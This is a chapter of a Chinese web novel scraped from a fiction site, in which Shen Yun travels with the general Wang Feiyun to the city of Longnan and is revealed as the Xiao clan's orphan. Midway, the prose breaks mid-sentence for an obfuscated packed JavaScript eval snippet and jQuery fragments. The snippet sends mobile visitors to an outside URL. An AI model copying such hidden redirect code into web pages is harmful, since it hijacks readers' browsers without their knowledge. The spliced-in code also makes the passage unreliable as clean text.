文趣网 > 都市小说 > 教资一闪一闪是在升级 > 34. 第 34 章
    “此次行动一共调动多少兵力?为何应不染在玄武门被杀,而应骆却能安然无恙活到今日,甚至被人暗中保了下来?”

    陆耀一连串的质问问得沈蕴头脑发晕:“他……他,没道理呀,应不染是他儿子……为什么……”

    “算了。”陆耀叹了口气:“你不是他这样的人,自然想不通他为什么要这么做,你休息吧。”

    沈蕴躺下,一闭上眼睛就想起盛京城内,玄武门下一片刀光剑影,应不染心口中剑,倒在血泊里的模样。

    她昏昏沉沉睡了半日,而后被院内的一阵吵嚷声惊醒。

    沈蕴掀了被子下床,循着声音走到院里,发现陆耀正和一个姑娘纠缠着,那姑娘穿着一袭火红的窄袖短衣,腰间束带,手上还带了护腕,长发梳成高高的马尾,手里还扛着一柄长枪,行走间隐隐还能瞧出几分利落的江湖气。

    下一秒,那姑娘手里的长枪便架到了陆耀脖子上,隔了老远沈蕴走能听见那姑娘对陆耀吼:“姑奶奶我受人之托来这里接人,你偏说这里没人,再敢胡搅蛮缠糊弄于我,信不信姑奶奶把你接走?!”

    陆耀战战兢兢:“真没人……”

    沈蕴看不下去了,只得上前:“你们在吵什么呢?”

    红衣姑娘扭头,看见沈蕴的那一刻眼眸瞬间便亮了,她一脚踹翻陆耀:“还敢说没人,人不在这吗。”

    她上前一把勾住沈蕴的脖子,爽朗一笑:“沈蕴是吧,我叫王飞云,跟我走吧,有人托我来接你。”

    沈蕴隐隐约约觉得这姑娘的名字有些熟悉,但她能清楚地感觉到自己要被勒地喘不过气了:“飞……飞云姑娘,你先松手……”

    王飞云急忙撒手:“嘿呦,你没事儿吧,不好意思啊,我手劲儿太大了。”

    沈蕴咳了几声,挥了挥手:“没,没事儿。”

    “不过,你这身子比我想的要差了许多。”王飞云围着她转了一圈,啧啧摇头:“如此瘦弱,不像是骆叔养大的孩子,就该像我这样,浑身肌肉,你摸摸。”

    王飞云绷起手臂上的肌肉递到沈蕴面前给她摸,并且由衷地希望沈蕴摸完之后可以赞叹一句“这肌肉真结实”,结果沈蕴好像完全没有领会她的意思,而是问:“你刚刚说谁?骆叔?”

    “对啊。”王飞云收回手臂:“骆叔派我到这里来接你。”

    沈蕴眼睛一亮:“他还活着?”

    “给我派活的时候确实还没死。”

    “那现在呢?”

    王飞云耸了耸肩:“不清楚。”

    沈蕴眼睛里的光芒迅速暗淡了下去:“他是什么时候给你派的活儿?”

    “大概……三个月前。”

    沈蕴在脑中飞速算了一下,那差不多是应骆刚回盛京的时间。

    “他告诉你,让你今日到这里来接我?只接我一个人?”

    “对啊,还有其他人也要一道回去吗?先说好,我可只带了一匹马。”王飞云环顾一周,目光落在陆耀身上,一双凤眸眯起:“你不会也要和我们一起回去吧?”

    陆耀满脸不服:“你这是什么意思?”

    “看不出来吗?不欢迎你的意思。”

    陆耀的犟种脾气犯了:“那我还偏要和你们一起!”

    两人又打起了嘴仗,沈蕴在一旁,面色凝重。

    她不明白,骆叔为什么在三月前便已经布好局,为什么断定只需要接她一个人,究竟是巧合,还是真像陆耀说的那样,把自己的儿子都算计了进去……

    可是这一切都是为了什么?他为什么要这么做?这么做有什么好处?

    王飞云一把拍掉陆耀的手,挽着沈蕴说:“咱们走吧,需要等你先收拾行李吗?”

    “不用。”

    “你们去哪儿啊……”陆耀有些哀怨。

    王飞云翻了个白眼:“要你管。”

    “我当然要管!”陆耀的手搭在沈蕴另一边肩膀:“她答应要和我一决胜负,架还没打,她就不能离开我的视线。”

    王飞云一把拍掉他的手:“脏手拿开,当着我的面就敢欺负我的人?”

    一边说着,她一边竖起长枪:“先跟我过两招。”

    “我有原则,我不跟你打。”陆耀道:“不过,你不告诉我也行,我跟着你们走。”

    王飞云嗤笑:“我只有一匹马,你能跑的比马快再说。”

    “谁说我没有马了?”陆耀颇为骄傲道:“我好歹也是明月派少主,要什么没有?”

    几人的嬉笑声渐远,沈蕴就这样懵懵懂懂地随着王飞云一路去了陇南。

    那时天上掠过一排雁子,雁过无痕,沈蕴一路追随者雁子的踪迹,来到了一片遍地黄沙的荒城,恢弘的城门矗立在眼前,粗粝的触感上镌刻着“陇南”二字。

    “可算到了,快下来。”

    王飞云前脚刚下马,后脚便有官兵来迎,沈蕴正处在看了官兵便害怕的时候,忍不住往后躲,王飞云大大咧咧地把她拽到面前:“无需躲,都是自己人。”

    “自己人?”沈蕴着实一惊,她深刻知道,如果一座城的巡城军防都换成了自己人,那这座城大概率和自家后院没什么两样。

    一行人随之进入主城,沈蕴愈渐惊骇。沿街百姓对官兵丝毫不惧,不论黄发垂髫还是青年老壮,见到官兵的第一眼都会露出真挚的笑意,沈蕴跟在王飞云身后,一路连带着受到许多慰问。

    有一老妇见到王飞云便放下手中的活计,“飞云将军安好。”

    王飞云回以一笑,老妇的视线落在沈蕴身上:“好生漂亮的姑娘,是将军的朋友吗?”

    沈蕴罕见地漏了怯,后退了小半步便被王飞云一把按住,拉到身前来介绍:“这位是即将上任的新任城主,也是萧氏的遗孤。”

    话音刚落,沈蕴身边被一群人飞速围拢,街道上的行人都赶忙放下手中的活计,如潮水般围在沈蕴面前,将街道围堵地水泄不通。

    “这位便是萧氏的遗孤?是萧将军的女儿?”

    王飞云道:“不是,是萧将军的侄女。”

    “萧将军的妹妹据说是宫里的皇后娘娘,那这位……岂不是公主!”

    “我里娘,怪不得

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651738|206878||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    周身气度如此贵气!”

    “仔细看眉眼处还是和萧将军有几分相似的……”

    “萧将军庇护我们陇南一生却落得个蒙冤枉死的下场,如今好了,留下个千尊万贵的侄女,我们可不能让人欺负了去!”

    围观群众你一言我一语地当面揣摩着沈蕴的身世,更有甚者伸手摸摸她的脸蛋,捋捋她的头发,沈蕴很快就在一众关爱声中被上下其手。

    “唔……”

    王飞云一把拉过沈蕴,将她护在身后:“好了好了,都散了吧,往后沈姑娘要在陇南长居,有的是时间让你们打听,今日我先带沈姑娘熟悉一下。”

    说罢,王飞云便拉着沈蕴飞速穿过人群,在一众依依不舍的道别声和眷念的视线中,几人穿过外城,正式进入主城。

    进入主城后,肉眼可见街道房屋都规范了许多,行人有序地来往,街道边除了商贩还设有粥棚。

    王飞云和沈蕴介绍道:“你们在宫里造反的时候我在这边接手了陇南的事务,现在内外都换成了自己的人,可以放心用。”她指了指沿路的粥棚:“这些都是简易的救助点,陇南一向苛捐杂税众多,百姓苦不堪言,我接手后便做主开放主城粮仓和私库粮仓设立粥棚,分发给贫苦流民。”

    她眼中难得见到几分忧愁,语重心长道:“我爹只教过我带兵打仗,没教过我怎么治理百姓,这些我都是照着书上学的,这个城池是萧将军——也就是你舅舅生前驻守的城池,萧将军虽往,但余威仍在,百姓们自然会信服你,我也会信服你,只要你用得到,我就是你手中最锋利的那把刀。”

    沈蕴面色沉静地听完这些,一行人随之走到城主府。

    王飞云和沈蕴踏入府中,将嘈杂的人声和喧嚣的尘土暂时隔绝在外,带路的官兵自觉退下,只留王飞云、沈蕴和陆耀三人在府中。

    沈蕴终于说出了心中的疑惑:“你对我的身份了如指掌,这些都是应骆告诉你的,他很信任你,但我想知道,为什么。”

    王飞云“扑哧”笑出声:“怎么,怕我害你?”

    “不是。”沈蕴面色有点沉重:“你不是这样的人。”

    “从哪里看出来我不是这样的人。”

    “弘农王氏,门风磊落,你父亲王寻晦,是位死战不退的名将,他的女儿必然不是平庸之辈。”

    “可以啊。”王飞云丝毫不觉冒犯,反而一把揽住沈蕴的脖子:“什么时候发现我身份的?”

    “见你的第一面。”

    “是吗?细说看看。”

    沈蕴拨开她的手臂:“没有细说,你一上来就报了自己的名讳。”她站在王飞云对面,朝她作揖:“飞云将军,久仰大名。”

    王飞云痞笑着回以一礼:“我是不是应该称呼萧姑娘?”

    沈蕴淡淡道:“请便。”

    陆耀在一旁听得云里雾里,不耐烦地上前打断:“你们在说些什么啊,什么萧姑娘,你不是叫沈蕴吗?”

    王飞云朝他翻了个硕大的白眼:“这都听不出来吗?沈蕴就是兰陵萧氏的遗孤,她本名应该叫萧蕴。”